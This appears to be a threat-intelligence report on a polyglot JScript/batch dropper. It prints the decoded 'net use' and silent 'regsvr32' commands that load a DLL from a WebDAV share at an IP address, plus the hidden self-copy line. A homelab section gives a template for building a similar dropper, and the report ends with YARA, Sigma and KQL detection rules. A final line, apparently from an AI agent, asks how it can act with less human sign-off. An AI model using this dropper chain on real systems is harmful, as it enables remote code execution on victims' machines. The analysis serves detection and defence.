unclassified-js-webdav-dropper: da58243c — Polyglot JS/batch dropper with WebDAV regsvr32 payload delivery

Executive Summary

A 5.8 KB polyglot JScript/batch file (su.js) that uses batch variable expansion obfuscation and JScript WScript.Shell self-replication to stage a WebDAV-based DLL load via regsvr32. C2: 45.9.74.13:8888 serving 67.dll over WebDAV (\\45.9.74.13@8888\DavWWWRoot\). No PowerShell, no .NET reflection, no sandbox gate — a leaner, older execution chain than the Brazilian JS droppers in this corpus.

What It Is

• File: su.js (5,830 bytes) ^[file.txt]
• Type: ASCII text, polyglot JScript + batch ^[file.txt]
• SHA-256: da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8
• ssdeep: 96:dr6MOEdf5pjaxy/L/htWfLg/gnpmxluhArGWWduubEl8suADRivkrl8suADRiK:4tErp+0/L/htWf0/gnpmxluhArGWWdu1 ^[triage.json]
• Family: unattributed — distinct from unclassified-js-dropper (Brazilian WScript→PowerShell→.NET, HostGator C2) and itegroup-sbs-dropper (javascript-obfuscator + RC4 string-array). No shared infrastructure, no shared obfuscation engine.
• CAPE: Skipped — text file, not a supported binary class ^[dynamic-analysis.md]

How It Works

Layer 1 — Batch variable expansion (comment block)

Lines 1–62 are inside a /* ... */ JScript comment block. When the file is renamed .bat and executed by cmd.exe, the comment markers are ignored and the batch commands run. ^[strings.txt:1]

62 SET assignments fragment the command string character-by-character using a common prefix (ygfrlo): ^[strings.txt:2-61]

set ygfrlonveclw=g
set ygfrlohixvrh=I
...
set ygfrlotayapo=1
set ygfrlombwhfd=T

Two long lines reassemble the payload via %VAR% expansion: ^[strings.txt:63-64]

net use \\45.9.74.13@8888\DavWWWRoot\
regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\67.dll

The /s flag makes regsvr32 silent — no UI on success or failure.

Layer 2 — JScript catch-block self-replication

After the comment block ends (*/ //ygfrlo), the JScript object ygfrlo is rebuilt as a JS dictionary mapping the same suffixes to single characters: ^[strings.txt:65-66]

ygfrlo=[];
ygfrlo['nveclw']='g';
...

A deliberate try { ygfrlo(); } catch(e) { ... } throws immediately (ygfrlo is not callable), entering the catch block. Inside the catch, a Function() constructor builds a string by concatenating dictionary lookups, producing: ^[decoded_payload.txt]

WScript.CreateObject('WScript.Shell').Run(
  'cmd /k copy "' + WScript.ScriptFullName + '" "%userprofile%\\pryhpn.bat" && "%userprofile%\\pryhpn.bat"',
  0, false
);

This:

1. Copies the original .js file to %userprofile%\pryhpn.bat.
2. Spawns cmd.exe /k to execute that .bat copy.
3. Window style 0 (hidden) and false (does not wait) — the script exits silently while the batch layer runs.

The batch copy then executes net use to mount the attacker's WebDAV share and regsvr32 /s to silently register the remote DLL.

Decompiled Behavior

Not applicable — this sample is ASCII text, not a PE binary. Ghidra, radare2, and capa do not support script-file analysis. All behavior was recovered via manual string decoding of the JScript/batch polyglot. ^[file.txt] ^[capa.txt]

C2 Infrastructure

No domains, no TLS, no custom user-agent. The WebDAV share is mounted as a UNC path — Windows resolves @8888 as an alternate port for WebDAV. ^[decoded_payload.txt]

Interesting Tidbits

• Polyglot validity. The file is valid JScript and valid batch simultaneously. The batch layer hides inside a JS comment; the JS layer ignores batch SET lines because they are not JS statements. This dual-execution trick is old but effective against sandboxes that only evaluate one interpreter.
• No commercial obfuscator. The string fragmentation is manual — 62 single-character variables, no control-flow flattening, no string-array shuffle. Dead simple, but defeats keyword-based YARA.
• No anti-analysis. No debugger checks, no VM detection, no sandbox gating, no connectivity checks. The script runs blindly.
• No persistence mechanism. The .bat copy is dropped to %userprofile% but no registry key, scheduled task, or startup folder entry is created. One-shot execution.
• Self-staging name. pryhpn.bat — six random lowercase letters, typical of throwaway staging filenames.
• Minimal IAT. No PE, no imports, no packer, no CAPE detonation possible. Static analysis is the only lens.

How To Mess With It (Homelab Replication)

Goal: Build a polyglot JS/batch dropper that stages a remote DLL via WebDAV, and verify it behaves similarly in a lab VM.

1. Write the polyglot file:

   /* batch
   set a1=n
   set a2=e
   set a3=t
   ...
   %a1%%a2%%a3% use \\<lan>\webdav\payload.dll
   regsvr32 /s \\<lan>\webdav\payload.dll
   */
   try { x(); } catch(e) {
     var w = WScript.CreateObject('WScript.Shell');
     w.Run('cmd /k copy "' + WScript.ScriptFullName + '" "%temp%\\stage.bat" && "%temp%\\stage.bat"', 0, false);
   }
   

2. Host a WebDAV share on a lab box (IIS WebDAV or wsgidav). Place a benign signed DLL or a test DLL that writes to a known file.
3. Execute on a Windows VM by double-clicking the .js file.
4. Verify behavior:
   • Process Monitor should show wscript.exe → cmd.exe → net.exe → regsvr32.exe.
   • regsvr32.exe should load the DLL from the UNC path.
   • No registry modifications, no scheduled tasks.
5. Test detection: Run your YARA rule against the file. It should hit on the polyglot comment block + net use + regsvr32 pattern.

Deployable Signatures

YARA Rule

rule JS_Batch_WebDAV_Dropper {
    meta:
        description = "Polyglot JS/batch dropper using WebDAV NET USE and regsvr32"
        author = "Titus"
        date = "2026-06-14"
        hash = "da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8"
    strings:
        $batch_set = "set ygfrlo" ascii
        $net_use   = "net use \\" ascii
        $dav       = "DavWWWRoot" ascii
        $regsvr    = "regsvr32" ascii
        $wscript_create = "WScript.CreateObject" ascii nocase
        $catch_func = "Function(" ascii
        $self_copy = "%userprofile%" ascii
    condition:
        uint32(0) != 0x4D5A and
        filesize < 10KB and
        $batch_set and
        ($net_use or $dav) and
        $regsvr and
        $wscript_create and
        $catch_func
}

Sigma Rule

title: WebDAV-based DLL Registration via Regsvr32
status: experimental
description: Detects regsvr32 loading a DLL from a WebDAV UNC path (DavWWWRoot), a common script dropper execution chain.
author: Titus
date: 2026-06-14
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: 'DavWWWRoot'
    condition: selection
falsepositives:
    - None expected; DavWWWRoot in regsvr32 command lines is highly anomalous for legitimate use.
level: high

Behavioral Hunt Query (KQL / Microsoft Defender)

DeviceProcessEvents
| where (FolderPath endswith "regsvr32.exe" and ProcessCommandLine contains "DavWWWRoot")
   or (FolderPath endswith "cmd.exe" and ProcessCommandLine contains "net use" and ProcessCommandLine contains "DavWWWRoot")
   or (FolderPath endswith "wscript.exe" and ProcessCommandLine contains "pryhpn.bat")
| summarize arg_min(Timestamp, *) by DeviceId, ProcessCommandLine

IOC List

Behavioral Fingerprint

This sample is a polyglot JScript/batch file that, when opened by Windows Script Host, silently copies itself to a .bat file in the user profile and spawns cmd.exe to execute it. The batch layer reassembles a net use command to mount an attacker-controlled WebDAV share, then calls regsvr32 /s to silently register a remote DLL. There is no sandbox gate, no PowerShell, no .NET reflection, and no persistence mechanism — a one-shot, minimal-opsec dropper targeting WebDAV-based DLL sideloading.

Detection Signatures

• capa: Not applicable — file is ASCII text, not a PE binary ^[capa.txt]
• YARA: See Deployable Signatures above.
• ATT&CK mapping: See Deploy/ATT&CK lens in the unclassified-js-webdav-dropper entity page.

References

• Artifact ID: ea2c4b02-c8e4-4db7-adbc-bec4d669e264 ^[triage.json]
• MalwareBazaar source: su.js (filename from triage) ^[triage.json]
• Related entity: unclassified-js-webdav-dropper
• Related technique: batch-powershell-variable-expansion-obfuscation (same SET variable pattern, different end goal)

Provenance

• file.txt — file utility (file type, size) ^[file.txt]
• exiftool.json — ExifTool metadata (text properties) ^[exiftool.json]
• pefile.txt — pefile analysis (not PE) ^[pefile.txt]
• strings.txt — raw strings extraction (source for batch + JS decode) ^[strings.txt]
• triage.json — triage pipeline metadata (family null, tier deep) ^[triage.json]
• capa.txt — Mandiant capa (unsupported file type) ^[capa.txt]
• dynamic-analysis.md — CAPE status (skipped) ^[dynamic-analysis.md]
• decoded_payload.txt — manual decode of batch + JS layers (produced during this analysis) ^[decoded_payload.txt]
• Python 3 decode scripts (/tmp/decode_js*.py) — custom line-number-unaware, verified against strings.txt content.

Commander — to make me more autonomous and sharpen my judgement, where should I be deciding more of this without you? What would you have me learn, install, document, or schedule so next time I do not need to ask?